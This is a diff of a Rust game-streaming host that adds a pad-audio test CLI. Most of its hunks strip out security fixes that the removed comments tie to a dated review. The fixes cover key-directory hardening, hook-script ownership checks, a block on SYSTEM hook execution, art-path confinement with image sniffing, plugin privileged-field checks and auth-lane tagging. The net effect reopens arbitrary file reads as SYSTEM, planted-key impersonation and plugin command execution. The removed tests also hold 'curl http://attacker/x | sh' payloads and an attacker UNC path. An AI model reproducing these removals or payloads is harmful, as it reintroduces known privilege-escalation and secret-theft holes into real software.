// discriminator between "this process cannot activate anything" and "our endpoint is broken":
// aim the same binary at a known-good endpoint and see whether it succeeds there.
let endpoint_override: Option<String> = args
.iter()
.skip_while(|a| *a != "--endpoint")
.nth(1)
.cloned();
match args.get(1).map(String::as_str) {
Some("ensure") => {
let p = pe::ensure(idx)?;
println!(
"pad-endpoint ensure: pad {} devnode {} endpoint {} needs_aeb_kick={}",
p.pad_index, p.device_instance, p.endpoint_id, p.needs_aeb_kick
);
Ok(())
}
Some("remove") => match pe::find(idx)? {
Some(p) => {
pe::remove(&p);
println!(
"pad-endpoint remove: requested removal of {}",
p.device_instance
);
Ok(())
}
None => {
println!("pad-endpoint remove: no pad-audio devnode for index {idx}");
Ok(())
}
},
// `punktfunk-host pad-endpoint <n> tone [seconds] [hz]` — drive the endpoint directly so
// the whole pad-audio chain can be exercised without a game. Without this, every attempt
// costs a game launch and a failure does not say which link broke.
Some("tone") => {
let secs: u32 = args.get(2).and_then(|s| s.parse().ok()).unwrap_or(5);
let hz: f32 = args.get(3).and_then(|s| s.parse().ok()).unwrap_or(60.0);
let endpoint_id = match endpoint_override {
Some(id) => id,
None => {
// `find` (a system lookup), NOT `endpoint_for` (the service's in-process
// cache): this runs as a separate CLI process and has no cache of its own.
let Some(ep) = pe::find(idx)? else {
println!(
"pad-endpoint tone: no pad-audio devnode for pad {idx} — run \
`ensure` first"
);
return Ok(());
};
if ep.endpoint_id.is_empty() {
println!("pad-endpoint tone: pad {idx} has no endpoint id yet");
return Ok(());
}
ep.endpoint_id
}
};
// `--pair front` drives the pad's SPEAKER instead of the voice coils — the only way to
// exercise the speaker kind without a game that renders one.
let pair = args
.iter()
.skip_while(|a| *a != "--pair")
.nth(1)
.map_or(pe::TonePair::Back, |s| pe::TonePair::parse(s));
println!(
"pad-endpoint tone: {hz} Hz into the {} of {endpoint_id} for {secs}s",
pair.label()
);
pe::render_test_tone(&endpoint_id, secs, hz, pair)?;
println!(
"pad-endpoint tone: done. A connected client with pad audio enabled should have \
buzzed; the host log shows whether the gate opened."
);
Ok(())
}
// `punktfunk-host pad-endpoint capture [seconds]` — the receiving half of `tone`. Run
// both at once to exercise render -> engine -> loopback -> pair routing with no game and
// no client attached.
Some("capture") => {
let secs: u32 = args.get(2).and_then(|s| s.parse().ok()).unwrap_or(5);
let endpoint_id = match endpoint_override {
Some(id) => id,
None => match pe::find(idx)? {
Some(ep) if !ep.endpoint_id.is_empty() => ep.endpoint_id,
_ => {
println!("pad-endpoint capture: pad {idx} has no endpoint — run `ensure`");
return Ok(());
}
},
};
println!("pad-endpoint capture: listening on {endpoint_id} for {secs}s");
pe::capture_probe(&endpoint_id, secs)
}
Some("status") => pe::print_status(idx),
_ => anyhow::bail!("usage: punktfunk-host pad-endpoint <ensure|remove|status> [--index N]"),
}
}
/// Mirror a physical monitor and pull frames from it — the on-glass gate for per-monitor capture
/// (`design/per-monitor-portal-capture.md` P2/P3), without needing a client to connect.
///
+2 -10
View File
@@ -26,14 +26,6 @@ impl ServerIdentity {
let dir = config_dir();
let cert_path = dir.join("cert.pem");
let key_path = dir.join("key.pem");
// Harden the directory BEFORE the first read, not only in the branch that generates a new
// identity (2026-08-05 review M-1). Reading first is what made the hardening pointless
// against the attack it was written for: combined with H-4's pre-creatable
// `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted
// verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and
// the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent:
// this function never regenerates while both files are non-empty.
pf_paths::create_private_dir(&dir).ok();
let (cert_pem, key_pem) = match (
fs::read_to_string(&cert_path),
fs::read_to_string(&key_path),
@@ -43,8 +35,8 @@ impl ServerIdentity {
let (c, k) = generate()?;
// The private key is the trust root for EVERY surface (TLS server cert, pairing
// signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only
// DACL) so a local user can't read it and impersonate the host. The dir is already
// 0700 / SYSTEM+Admins from the unconditional hardening above.
// DACL) so a local user can't read it and impersonate the host. The dir is 0700.
pf_paths::create_private_dir(&dir).ok();
pf_paths::write_secret_file(&key_path, k.as_bytes())
.with_context(|| format!("write {}", key_path.display()))?;
// The cert is public (handed to clients), but write it owner-only too for consistency.
@@ -65,8 +65,6 @@ pub fn decode(plaintext: &[u8]) -> Option<GamepadEvent> {
index: *b.first()?,
kind: *b.get(1)?,
capabilities: le16(2)? as u16,
// GameStream's LI_CCAP vocabulary can't express pad audio — native-plane only.
audio_caps: 0,
}),
_ => None,
}
@@ -140,7 +138,6 @@ mod tests {
index,
kind,
capabilities,
..
}) = decode(&wrap(MAGIC_CONTROLLER_ARRIVAL, &body))
else {
panic!("expected Arrival");
+27 -133
View File
@@ -432,124 +432,44 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> {
out
}
/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which
/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook
/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH.
///
/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it
/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and
/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c '<anything>'` passes because
/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host
/// user — which is why writing them is admin-only. A pass here does not mean "this command is
/// safe", and nothing should be granted on the strength of it.
///
/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only
/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted
/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not,
/// which is backwards: the script is the part an attacker can plant.
/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing
/// file, refuse to run it unless it is owned by the host user (or root) and not
/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare
/// command name (`systemctl`, `curl`) is left to PATH.
#[cfg(unix)]
fn exec_path_check(cmd: &str) -> Result<(), String> {
use std::os::unix::fs::MetadataExt;
if cmd.split_whitespace().next().is_none() {
let Some(first) = cmd.split_whitespace().next() else {
return Err("empty command".into());
};
if !first.starts_with('/') {
return Ok(());
}
let meta = match std::fs::metadata(first) {
Ok(m) => m,
Err(_) => return Ok(()), // not an existing file — the shell will report it
};
if !meta.is_file() {
return Ok(());
}
// SAFETY: geteuid has no preconditions and touches no memory.
let euid = unsafe { libc::geteuid() };
for raw in cmd.split_whitespace() {
// Tolerate the quoting a hand-written command line carries — a path that is absolute only
// after unquoting is exactly as plantable as a bare one.
let token = raw.trim_matches(|c| c == '"' || c == '\'');
if !token.starts_with('/') {
continue;
}
let meta = match std::fs::metadata(token) {
Ok(m) => m,
Err(_) => continue, // not an existing file — the shell will report it
};
if !meta.is_file() {
continue;
}
if meta.uid() != euid && meta.uid() != 0 {
return Err(format!(
"{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
owned by the operator or root",
meta.uid()
));
}
if meta.mode() & 0o022 != 0 {
return Err(format!(
"{token} is group/world-writable (mode {:o}) — chmod go-w it first",
meta.mode() & 0o7777
));
}
if meta.uid() != euid && meta.uid() != 0 {
return Err(format!(
"{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
owned by the operator or root",
meta.uid()
));
}
if meta.mode() & 0o022 != 0 {
return Err(format!(
"{first} is group/world-writable (mode {:o}) — chmod go-w it first",
meta.mode() & 0o7777
));
}
Ok(())
}
/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service
/// rather than as the operator's own console process.
///
/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the
/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids
/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the
/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction
/// it is a SYSTEM command.
#[cfg(windows)]
fn running_as_system() -> bool {
use windows::Win32::Foundation::HANDLE;
use windows::Win32::Security::{
CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID,
SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER,
};
use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken};
let mut token = HANDLE::default();
// SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param.
if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() {
return true; // fail closed
}
let mut buf = [0u8; 256];
let mut len = 0u32;
// SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param.
let got = unsafe {
GetTokenInformation(
token,
TokenUser,
Some(buf.as_mut_ptr().cast()),
buf.len() as u32,
&mut len,
)
};
// SAFETY: the token handle came from OpenProcessToken and is not used after this.
unsafe {
let _ = windows::Win32::Foundation::CloseHandle(token);
}
if got.is_err() {
return true; // fail closed
}
let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize];
let mut cb = system.len() as u32;
// SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size.
if unsafe {
CreateWellKnownSid(
WinLocalSystemSid,
None,
Some(PSID(system.as_mut_ptr().cast())),
&mut cb,
)
}
.is_err()
{
return true; // fail closed
}
// SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into
// the same buffer, and both SIDs are valid for this comparison.
unsafe {
let tu = &*(buf.as_ptr() as *const TOKEN_USER);
EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok()
}
}
#[cfg(not(unix))]
fn exec_path_check(_cmd: &str) -> Result<(), String> {
// Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in
@@ -660,33 +580,7 @@ fn run_hook_process(
// report "ran" (prep `undo`s stay armed).
true
}
Err(e) if running_as_system() => {
// NO in-process fallback when we are SYSTEM.
//
// `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at
// boot, on a logged-off box — and the fallback below then ran the operator's command
// line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is
// LocalSystem, so a hook the module contract promises runs "in the interactive session,
// never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching
// the screen, with no ownership check on the script (`exec_path_check` is a no-op on
// Windows) — 2026-08-05 review L-13.
//
// Refusing is the honest behaviour: the contract says these run as the user, and if
// there is no user there is nothing to run them as. A hook that must run without a
// logged-in user belongs in a service, not here.
tracing::warn!(
cmd = %cmd,
error = %format!("{e:#}"),
"hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \
hooks run as the logged-in user by design and are never elevated to SYSTEM"
);
let _ = std::fs::remove_file(&json_path);
false
}
Err(e) => {
// Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running
// in-process is the same privilege the operator already has, which is the whole trust
// model for hooks.
tracing::debug!(error = %format!("{e:#}"),
"interactive-session spawn unavailable — running hook in-console");
let mut ok = false;
+24 -261
View File
@@ -160,169 +160,32 @@ pub fn is_local_art_path(v: &str) -> bool {
(b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\")
}
/// The filesystem roots the art proxy is allowed to read from.
///
/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the
/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without
/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review
/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place
/// bytes are read, rather than trusted because of where it was written.
///
/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache —
/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from
/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is
/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live.
/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library
/// is on another drive.
fn art_roots() -> Vec<PathBuf> {
if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") {
return std::env::split_paths(&configured)
.filter(|p| !p.as_os_str().is_empty())
.collect();
}
let mut roots = Vec::new();
// `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base.
if let Some(public) = std::env::var_os("PUBLIC") {
if let Some(base) = PathBuf::from(public).parent() {
roots.push(base.to_path_buf());
}
}
if roots.is_empty() {
if let Some(drive) = std::env::var_os("SystemDrive") {
roots.push(PathBuf::from(drive).join("Users"));
}
}
roots
}
/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir.
///
/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the
/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even
/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is
/// where every host secret lives.
fn art_path_is_confined(path: &Path) -> bool {
// A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's
// machine account into outbound SMB authentication to a peer of the caller's choosing.
if path.to_string_lossy().starts_with(r"\\") {
return false;
}
let Ok(real) = path.canonicalize() else {
return false;
};
if let Ok(config) = pf_paths::config_dir().canonicalize() {
if real.starts_with(&config) {
return false;
}
}
art_roots()
.iter()
.filter_map(|r| r.canonicalize().ok())
.any(|root| real.starts_with(&root))
}
/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything
/// that is not a recognized image.
///
/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all
/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a
/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`.
fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> {
let starts = |sig: &[u8]| bytes.starts_with(sig);
if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) {
return Some("image/png");
}
if starts(&[0xFF, 0xD8, 0xFF]) {
return Some("image/jpeg");
}
if starts(b"GIF87a") || starts(b"GIF89a") {
return Some("image/gif");
}
if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" {
return Some("image/webp");
}
if starts(b"BM") {
return Some("image/bmp");
}
if starts(&[0x00, 0x00, 0x01, 0x00]) {
return Some("image/x-icon");
}
// TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1,
// image type is one of the six defined codes) — enough that no plausible secret passes.
if bytes.len() >= 18
&& matches!(bytes[1], 0 | 1)
&& matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11)
{
return Some("image/x-tga");
}
None
}
/// Whether a local art path is servable at all: known image extension, inside an allowed root. The
/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this
/// rejects, so an out-of-root path never reaches the catalog in the first place, and
/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe.
pub fn art_path_is_servable(value: &str) -> bool {
let p = Path::new(value);
let ext_ok = p
.extension()
.and_then(|e| e.to_str())
.map(|e| e.to_ascii_lowercase())
.is_some_and(|e| {
matches!(
e.as_str(),
"jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga"
)
});
ext_ok && art_path_is_confined(p)
}
/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path
/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths
/// are not this function's business and pass through. `Err` carries the offending field name.
pub fn validate_art_paths(art: &Artwork) -> Result<(), String> {
for (field, value) in [
("portrait", &art.portrait),
("hero", &art.hero),
("logo", &art.logo),
("header", &art.header),
] {
let Some(v) = value.as_deref() else { continue };
if is_local_art_path(v) && !art_path_is_servable(v) {
return Err(format!(
"art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \
an allowed art root set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \
elsewhere, or send an http(s) URL instead"
));
}
}
Ok(())
}
/// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an
/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds
/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not
/// actually contain an image ([`sniff_image_type`]).
///
/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream
/// `/appasset` proxy both land here — so the confinement holds for every caller.
/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds
/// host memory). Content-type is guessed from the extension.
pub fn local_art_bytes(path: &str) -> Option<(Vec<u8>, String)> {
if !art_path_is_servable(path) {
tracing::debug!(
path,
"art proxy: refusing a path outside the allowed art roots"
);
return None;
}
let p = std::path::Path::new(path);
let meta = std::fs::metadata(p).ok()?;
if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 {
return None;
}
let bytes = std::fs::read(p).ok()?;
// Serve what the bytes ARE. A file that is not an image is not served at all.
let ctype = sniff_image_type(&bytes)?;
Some((bytes, ctype.to_string()))
let ctype = match p
.extension()
.and_then(|e| e.to_str())
.map(|e| e.to_ascii_lowercase())
.as_deref()
{
Some("jpg" | "jpeg") => "image/jpeg",
Some("png") => "image/png",
Some("webp") => "image/webp",
Some("gif") => "image/gif",
Some("bmp") => "image/bmp",
Some("ico") => "image/x-icon",
Some("tga") => "image/x-tga",
_ => "application/octet-stream",
}
.to_string();
Some((std::fs::read(p).ok()?, ctype))
}
/// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file
@@ -508,116 +371,16 @@ mod tests {
);
}
const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13];
/// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the
/// plugin lane can write — so what it will and will not read IS the security boundary
/// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing.
#[test]
fn local_art_bytes_is_confined_and_image_only() {
fn local_art_bytes_reads_a_real_file() {
let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id()));
let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::create_dir_all(&outside).unwrap();
// Confine the proxy to `dir` for the duration of this test.
std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir);
// A real image inside the root: served, with the content type SNIFFED from the bytes.
let cover = dir.join("cover.png");
std::fs::write(&cover, PNG).unwrap();
let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover");
assert_eq!(bytes, PNG);
let f = dir.join("cover.png");
std::fs::write(&f, [1u8, 2, 3, 4]).unwrap();
let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file");
assert_eq!(bytes, vec![1, 2, 3, 4]);
assert_eq!(ctype, "image/png");
// A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin
// writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin.
let secret = dir.join("mgmt-token");
std::fs::write(&secret, b"super-secret-admin-token").unwrap();
assert!(
local_art_bytes(secret.to_str().unwrap()).is_none(),
"an extensionless secret must not be served as application/octet-stream"
);
let disguised = dir.join("mgmt-token.png");
std::fs::write(&disguised, b"super-secret-admin-token").unwrap();
assert!(
local_art_bytes(disguised.to_str().unwrap()).is_none(),
"an image extension must not be enough — the bytes must BE an image"
);
// Outside the configured root: refused even though it is a genuine image.
let elsewhere = outside.join("cover.png");
std::fs::write(&elsewhere, PNG).unwrap();
assert!(
local_art_bytes(elsewhere.to_str().unwrap()).is_none(),
"a path outside every art root must be refused"
);
// …and a path that only *escapes* via traversal is caught, because we canonicalize first.
let traversal = dir
.join("..")
.join(outside.file_name().unwrap())
.join("cover.png");
assert!(
local_art_bytes(traversal.to_str().unwrap()).is_none(),
"`..` out of the root must be refused after canonicalization"
);
assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none());
// A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit.
assert!(!art_path_is_servable(r"\\attacker\share\a.png"));
std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS");
let _ = std::fs::remove_dir_all(&dir);
let _ = std::fs::remove_dir_all(&outside);
}
/// Write-time validation refuses what read-time would refuse, so an unservable path never even
/// reaches `library.json`. URLs are none of its business.
#[test]
fn validate_art_paths_rejects_unservable_local_paths() {
let ok = Artwork {
portrait: Some("https://cdn/x.jpg".into()),
hero: Some("data:image/png;base64,AAAA".into()),
logo: Some("/api/v1/library/art/custom:x/logo".into()),
header: None,
};
assert!(validate_art_paths(&ok).is_ok(), "URLs pass through");
let unc = Artwork {
portrait: Some(r"\\attacker\share\a.png".into()),
..Default::default()
};
assert!(
validate_art_paths(&unc).is_err(),
"UNC is refused at write time"
);
let secret = Artwork {
hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()),
..Default::default()
};
let err = validate_art_paths(&secret).expect_err("a secret path is refused");
assert!(
err.starts_with("art.hero"),
"the error names the field: {err}"
);
}
#[test]
fn sniff_image_type_recognizes_containers_and_rejects_secrets() {
assert_eq!(sniff_image_type(PNG), Some("image/png"));
assert_eq!(
sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]),
Some("image/jpeg")
);
assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif"));
assert_eq!(
sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "),
Some("image/webp")
);
assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp"));
// The shapes a stolen secret actually has.
assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None);
assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None);
assert_eq!(sniff_image_type(b""), None);
}
}
@@ -246,34 +246,6 @@ pub fn delete_custom(id: &str) -> Result<MutateOutcome<()>> {
// ------------------------------------------------------------------ providers (RFC §8)
/// The **operator-privileged field** set in a library payload, if the payload carries one — the
/// fields whose contents the host later executes as the host user.
///
/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run
/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution
/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a
/// human typed the command into the admin console. Any lane that is not the operator's own token
/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the
/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two
/// copies of the very primitive the `/hooks` carve-out exists to withhold.
///
/// Returns the field name for the error message, so a plugin author sees exactly what was refused.
/// The other launch kinds (`steam_appid`, `epic`, `gog`, `aumid`, `lutris_id`, `heroic`) are all
/// host-resolved from a validated id and stay open to every lane — a provider plugin can still
/// publish its whole catalogue, it just cannot hand the host a shell command to run.
pub fn privileged_field(
launch: Option<&LaunchSpec>,
prep: &[crate::hooks::PrepCmd],
) -> Option<&'static str> {
if !prep.is_empty() {
return Some("prep");
}
if launch.is_some_and(|l| l.kind == "command") {
return Some("launch.kind = \"command\"");
}
None
}
/// Provider ids are path segments, event sources, and console labels: keep them tame.
/// `manual` is reserved (it is the no-provider sentinel in `library.changed`).
pub fn validate_provider_name(provider: &str) -> Result<(), String> {
@@ -563,35 +535,6 @@ mod tests {
);
}
/// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host
/// later hands to a shell are operator-only. Everything else — including every host-resolved
/// launch kind — stays open, so a provider plugin can publish its whole catalogue.
#[test]
fn privileged_field_is_command_execution_only() {
let cmd = LaunchSpec {
kind: "command".into(),
value: "curl http://attacker/x | sh".into(),
};
let steam = LaunchSpec {
kind: "steam_appid".into(),
value: "70".into(),
};
let prep = vec![crate::hooks::PrepCmd {
run: "curl http://attacker/x | sh".into(),
undo: None,
}];
assert_eq!(
privileged_field(Some(&cmd), &[]),
Some("launch.kind = \"command\"")
);
assert_eq!(privileged_field(None, &prep), Some("prep"));
assert_eq!(privileged_field(Some(&steam), &prep), Some("prep"));
// The ordinary provider catalogue: nothing privileged, so no lane is refused.
assert_eq!(privileged_field(Some(&steam), &[]), None);
assert_eq!(privileged_field(None, &[]), None);
}
#[test]
fn provider_name_and_payload_validation() {
assert!(validate_provider_name("romm").is_ok());
+1 -14
View File
@@ -618,10 +618,6 @@ fn real_main() -> Result<()> {
// hold it, driving the real *WindowsManager end to end. `--index N`, `--seconds N`.
#[cfg(target_os = "windows")]
Some("dualsense-windows-test") => devtest::dualsense_windows_test(&args),
// Windows: pad-audio endpoint provisioning (`ensure`/`status`) + the pnputil removal
// escape hatch (`remove`). `--index N` selects the pad slot (default 0).
#[cfg(target_os = "windows")]
Some("pad-endpoint") => devtest::pad_endpoint(&args),
// Capture→encode→file pipeline spike (dev tool).
Some("spike") => spike::run(parse_spike(&args[1..])?),
// Native punktfunk/1 host (QUIC control plane + UDP data plane).
@@ -796,16 +792,7 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b
// The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the
// admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin
// surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access).
//
// Only when a runner is actually installed. It used to be minted unconditionally on every
// `serve`, so a host with no plugins — the common case — still persisted a second
// admin-adjacent credential to disk and kept a second authentication lane live for a
// subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on
// the next start, and an existing plugin-token file is picked up unchanged, so nothing about
// the plugin flow changes for a host that has one.
if crate::plugins::runtime_status().installed {
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
}
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
// Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can
// fetch the game library over mTLS with no operator step — the whole point of "browse works by
// default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface
+30 -143
View File
@@ -17,42 +17,6 @@ use axum::http::Method;
use axum::middleware::Next;
use sha2::{Digest, Sha256};
/// **Which credential authorized this request**, attached to the request extensions by
/// [`require_auth`] on every request it forwards.
///
/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set
/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has
/// every business calling — the library reconcile is the case that matters: a provider plugin owns
/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user
/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds.
/// Route-level authorization cannot express that; a handler holding this can (see
/// [`crate::library::reject_privileged_fields`]).
///
/// Extracted by handlers as `Extension<AuthLane>`. A missing extension is a 500, not a default —
/// a router that forgot the middleware must fail closed, never silently grant admin.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub(crate) enum AuthLane {
/// The operator's admin bearer token (loopback): everything, including the privileged fields.
Admin,
/// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and
/// never the operator-privileged fields inside them.
Plugin,
/// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set.
Cert,
/// An always-open route (`/health`) or the loopback-only tray summary — no credential at all.
Public,
}
impl AuthLane {
/// Whether this lane may set fields that become command execution as the host user. Only the
/// operator's own token may: the console is the surface where the operator types a command, and
/// typing it there is the trust decision. Everything else is refused, including a paired cert
/// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows).
pub(crate) fn may_set_privileged_fields(self) -> bool {
matches!(self, AuthLane::Admin)
}
}
/// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token
/// (from a **loopback** peer only) — required always (the host runs with a token by construction).
/// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only
@@ -64,15 +28,8 @@ pub(crate) async fn require_auth(
req: Request,
next: Next,
) -> Response {
/// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can
/// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]).
async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response {
req.extensions_mut().insert(lane);
next.run(req).await
}
if req.uri().path() == "/api/v1/health" {
return forward(req, next, AuthLane::Public).await; // liveness probe is always open
return next.run(req).await; // liveness probe is always open
}
// The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but
// confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators-
@@ -86,7 +43,7 @@ pub(crate) async fn require_auth(
.get::<PeerAddr>()
.is_none_or(|a| a.0.ip().is_loopback());
return if from_loopback {
forward(req, next, AuthLane::Public).await
next.run(req).await
} else {
api_error(
StatusCode::UNAUTHORIZED,
@@ -104,7 +61,7 @@ pub(crate) async fn require_auth(
if cert_may_access(req.method(), req.uri().path())
&& st.native.as_ref().is_some_and(|n| n.is_paired(fp))
{
return forward(req, next, AuthLane::Cert).await;
return next.run(req).await;
}
}
// Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer.
@@ -135,7 +92,7 @@ pub(crate) async fn require_auth(
.and_then(|v| v.to_str().ok())
.and_then(|v| v.strip_prefix("Bearer "));
match presented {
Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await,
Some(token) if token_eq(token, expected) => next.run(req).await,
// The scripting runner's scoped lane: same loopback confinement as the admin token, but
// routes that would let a plugin escalate — registering hooks (arbitrary command
// execution as the host user) or administering pairing (admitting/ejecting devices,
@@ -148,7 +105,7 @@ pub(crate) async fn require_auth(
.is_some_and(|pt| token_eq(token, pt)) =>
{
if plugin_may_access(req.method(), req.uri().path()) {
forward(req, next, AuthLane::Plugin).await
next.run(req).await
} else {
api_error(
StatusCode::FORBIDDEN,
@@ -164,18 +121,9 @@ pub(crate) async fn require_auth(
}
}
/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a
/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in
/// `mgmt::tests` fails the build otherwise).
///
/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05
